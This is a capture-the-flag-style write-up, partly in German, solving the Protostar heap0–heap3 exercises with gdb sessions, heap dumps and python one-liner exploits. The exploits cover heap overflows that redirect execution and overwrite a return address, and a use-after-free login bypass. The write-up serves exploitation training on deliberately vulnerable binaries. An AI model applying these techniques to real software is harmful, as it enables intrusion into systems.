====== Heaps ====== solutions to the heap levels of protostar ===== heap0 ===== http://exploit-exercises.com/protostar/heap0 use msf tool to create a pattern $ /opt/metasploit-4.2.0/msf3/tools/pattern_create.rb 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A throw the pattern as an argument at the binary protostar@protostar:/tmp$ gdb --quiet /opt/protostar/bin/heap0 Reading symbols from /opt/protostar/bin/heap0...done. (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /opt/protostar/bin/heap0 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A data is at 0x804a008, fp is at 0x804a050 Program received signal SIGSEGV, Segmentation fault. 0x41346341 in ?? () use the segfault adress to calculate the offset $ /opt/metasploit-4.2.0/msf3/tools/pattern_offset.rb 0x41346341 72 get the adress of //winning// in gdb and use it after the offset of 72 characters. (smrrd.adr(..) is a function I created to translate 0x08048464 to \x64\x84\x04\x08) /opt/protostar/bin/heap0 `python -c "import smrrd; print 'A'*72+smrrd.adr('0x08048464')"` ===== heap1 ===== http://exploit-exercises.com/protostar/heap1 Startet man mit ./heap1 AAAA BBBB sehen die structs auf dem Heap so aus: (gdb) x/100x 0x0804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000 0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000 0x804a040: 0x00000000 0x00020fc1 Wir können also direkt in den heap schreiben, wobei 0x0804a018 und 0x0804a038 Zeiger an die Speicherstelle sind, an die geschrieben werden soll. Wenn wir nun viele AAAAAAAAAAA... reinwerfen, dann überschreiben wir das zweite struct und können so den pointer auf das char array überschreiben. (gdb) x/100x 0x0804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x41414141 0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a040: 0x41414141 0x41414141 0xdeadbeef 0x00000000 mit dem ersten strcpy können wir also i2 überschreiben. Bei dem zweiten strcpy wird dann unsere Adresse die wir überschrieben haben übergeben. strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); Wenn wir nun überprüfen, welche Adresse der Stack in strcpy hat, können wir die ret sprung Adresse durch argv[2] überschreiben. Das ganze exploit: protostar@protostar:/tmp$ /opt/protostar/bin/heap1 `python -c "import smrrd; print 'A'*(5*4)+smrrd.adr('0xbffff74c')"` `python -c "import smrrd; print smrrd.adr('0x08048494')*1+'AAAA'"` and we have a winner @ 1336320160 Segmentation fault ein cooler Effekt ist das hier: protostar@protostar:/tmp$ /opt/protostar/bin/heap1 `python -c "import smrrd; print 'A'*(5*4)+smrrd.adr('0xbffff74c')"` `python -c "import smrrd; print smrrd.adr('0x08048494')*10"` and that's a wrap folks! and we have a winner @ 1336320218 and we have a winner @ 1336320218 and we have a winner @ 1336320218 and we have a winner @ 1336320218 and we have a winner @ 1336320218 and we have a winner @ 1336320218 Segmentation fault Wie in einem früheren stack exploit level haben wir ROP benutzt. Hier zerhauen wir einfach lauter ret adressen mit der winner adresse und können so öfters winner() aufrufen :P ===== heap2 ===== ganz einfache Idee ;) | 1. | auth samuirai | user anlegen | | 2. | reset | free samuirai user, aber pointer bleibt gespeichert | | 3. | service samuiraisamuirai | mit service an die "freie" user stelle schreibt, und zwar mindestens so weit bis da hin wo vorhin auth->auth lag | | 4. | login | login nimmt auth von der alten adresse, aber hat ie überschriebenen Werte durch service und man ist damit eingeloggt | protostar@protostar:/tmp$ python -c "print 'auth samuirai\nreset\nservice samuiraisamuirai\nlogin'" | /opt/protostar/bin/heap2 [ auth = (nil), service = (nil) ] [ auth = 0x804c008, service = (nil) ] [ auth = 0x804c008, service = (nil) ] [ auth = 0x804c008, service = 0x804c018 ] you have logged in already! [ auth = 0x804c008, service = 0x804c018 ] ===== heap3 ===== related: http://stackoverflow.com/questions/10540845/linux-heap-structure-and-the-behaviour-with-malloc-and-free Wir analysieren als erstes mal wie der heap sich verhält. die breakpoints sind dazu da, um den heap zu beobachten was nach jedem //free// passiert. (gdb) break *0x08048911 Breakpoint 7 at 0x8048911: file heap3/heap3.c, line 24. (gdb) break *0x0804891d Breakpoint 8 at 0x804891d: file heap3/heap3.c, line 25. (gdb) break *0x08048929 Breakpoint 9 at 0x8048929: file heap3/heap3.c, line 26. (gdb) break *0x08048935 Breakpoint 10 at 0x8048935: file heap3/heap3.c, line 28. (gdb) run AAAA BBBB CCCC Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC alles gemalloct und kurz vor den frees... an den 0x41414141, 0x42424242 und 0x43434343 kann man gut die char arrays a,b und c erkennen: Breakpoint 7, 0x08048911 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:24 24 in heap3/heap3.c (gdb) x/50x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x43434343 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 (gdb) c Continuing. nach //free(c )//: Breakpoint 8, 0x0804891d in main (argc=4, argv=0xbffff844) at heap3/heap3.c:25 25 in heap3/heap3.c (gdb) x/50x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x42424242 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 (gdb) c Continuing. nach //free(b)// Breakpoint 9, 0x08048929 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:26 26 in heap3/heap3.c (gdb) x/50x 0x804c000 0x804c000: 0x00000000 0x00000029 0x41414141 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x0804c050 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 (gdb) c Continuing. nach //free(a)// Breakpoint 10, 0x08048935 in main (argc=4, argv=0xbffff844) at heap3/heap3.c:28 28 in heap3/heap3.c (gdb) x/50x 0x804c000 0x804c000: 0x00000000 0x00000029 0x0804c028 0x00000000 0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029 0x804c030: 0x0804c050 0x00000000 0x00000000 0x00000000 0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 (gdb) c Continuing. dynamite failed? Program exited with code 021. Jetzt wissen wir wie ein klarer Heap aussieht.